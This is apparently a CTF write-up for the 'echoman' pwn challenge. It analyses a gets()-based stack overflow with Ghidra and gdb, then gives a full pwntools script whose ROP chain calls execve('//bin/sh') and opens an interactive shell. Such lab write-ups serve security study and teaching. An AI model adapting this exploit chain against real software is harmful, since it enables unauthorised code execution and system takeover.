This is a write-up for the echoman pwn of Ynotctf CTF at BlackAlps. The provided binary can be found here.
The program
The binary is a simple echo server. Here the string TEST is entered:
$ ./echoman
Hi my name is Echoman
Let me echo something for you !
TEST
Here iiit iiiis: TEST
The binary's protections:
> checksec
Canary : Yes
NX : Yes
PIE : No
Fortify : No
RelRO : Partial
The vulnerabilities
Using Ghidra one gets quickly an overview of
the vulnerability in the echoman
function:
void echoman(void)
{
char buf [128];
puts("Let me echo something for you !");
gets(buf);
printf("Here iiit iiiis: %s",buf);
return;
}
We can overflow the buf
buffer and take control of the program.
Using gdb, one can see how much we need to write in order to reach saved rip.
> disas echoman
Dump of assembler code for function echoman:
0x0000000000401d38 <+0>: push rbp
0x0000000000401d39 <+1>: mov rbp,rsp
0x0000000000401d3c <+4>: add rsp,0xffffffffffffff80
0x0000000000401d40 <+8>: lea rdi,[rip+0x7f2c1] # 0x481008
0x0000000000401d47 <+15>: call 0x410550 <puts>
0x0000000000401d4c <+20>: lea rax,[rbp-0x80]
0x0000000000401d50 <+24>: mov rdi,rax
0x0000000000401d53 <+27>: mov eax,0x0
0x0000000000401d58 <+32>: call 0x410260 <gets>
0x0000000000401d5d <+37>: lea rax,[rbp-0x80]
0x0000000000401d61 <+41>: mov rsi,rax
0x0000000000401d64 <+44>: lea rdi,[rip+0x7f2bd] # 0x481028
0x0000000000401d6b <+51>: mov eax,0x0
0x0000000000401d70 <+56>: call 0x408fa0 <printf>
0x0000000000401d75 <+61>: nop
0x0000000000401d76 <+62>: leave
0x0000000000401d77 <+63>: ret
End of assembler dump.
So we need to push 128 bytes (0xffffffffffffff80 = -128
)
to overwrite the buffer, then
8 bytes to overwrite saved rbp (push rbp
)
and finally 8 bytes to overwrite
saved rip and take control of the flow
$ python -c 'print("A"*128 + "B"*8 + "C"*8)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
Generating that in Python and then feeding it to the program
shows us in gdb that the saved rip is overwritten
by C
s
> info frame
Stack level 0, frame at 0x7fffffffe340:
rip = 0x401d75 in echoman; saved rip = 0x4343434343434343
called by frame at 0x7fffffffe348
Arglist at 0x7fffffffe330, args:
Locals at 0x7fffffffe330, Previous frame's sp is 0x7fffffffe340
Saved registers:
rbp at 0x7fffffffe330, rip at 0x7fffffffe338
Exploit
So we simply need to overflow (128+8 bytes) and then write our ROP chain to exploit it.
Ropper was able to automatically generate a working ROP chain:
$ ropper -f echoman --chain execve
It is clearly nicer to build the ROP chain manually
but due to time constraints ropper
provided us
a nice working solution.
Here's the complete pwntools script to exploit it:
#!/usr/bin/env python2
from pwn import *
from struct import *
context.arch='amd64'
binary = './echoman'
host = 'pwns.blackalps.lan'
port = 2004
#proc = remote(host, port)
proc = process(binary)
print('started ...')
query = 'Let me echo something for you !'
proc.recvuntil(query)
p = lambda x : pack('Q', x)
IMAGE_BASE_0 = 0x0000000000400000 # 2d2f5423e4ac9faa4d94827cb210852f4fc1505e432b58994704d6c2fe66b116
rebase_0 = lambda x : p(x + IMAGE_BASE_0)
rop = ''
rop += rebase_0(0x000000000000327d) # 0x000000000040327d: pop r13; ret;
rop += '//bin/sh'
rop += rebase_0(0x0000000000001f9b) # 0x0000000000401f9b: pop rbx; ret;
rop += rebase_0(0x00000000000aa0e0)
rop += rebase_0(0x000000000005c3a5) # 0x000000000045c3a5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000327d) # 0x000000000040327d: pop r13; ret;
rop += p(0x0000000000000000)
rop += rebase_0(0x0000000000001f9b) # 0x0000000000401f9b: pop rbx; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += rebase_0(0x000000000005c3a5) # 0x000000000045c3a5: mov qword ptr [rbx], r13; pop rbx; pop rbp; pop r12; pop r13; ret;
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x000000000000182a) # 0x000000000040182a: pop rdi; ret;
rop += rebase_0(0x00000000000aa0e0)
rop += rebase_0(0x00000000000079be) # 0x00000000004079be: pop rsi; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += rebase_0(0x00000000000722db) # 0x00000000004722db: pop rdx; pop rbx; ret;
rop += rebase_0(0x00000000000aa0e8)
rop += p(0xdeadbeefdeadbeef)
rop += rebase_0(0x0000000000046a20) # 0x0000000000446a20: pop rax; ret;
rop += p(0x000000000000003b)
rop += rebase_0(0x0000000000015244) # 0x0000000000415244: syscall; ret;
string = 'A'*128
string += 'B'*8
string += rop
proc.sendline(string)
# profit
proc.clean()
proc.interactive()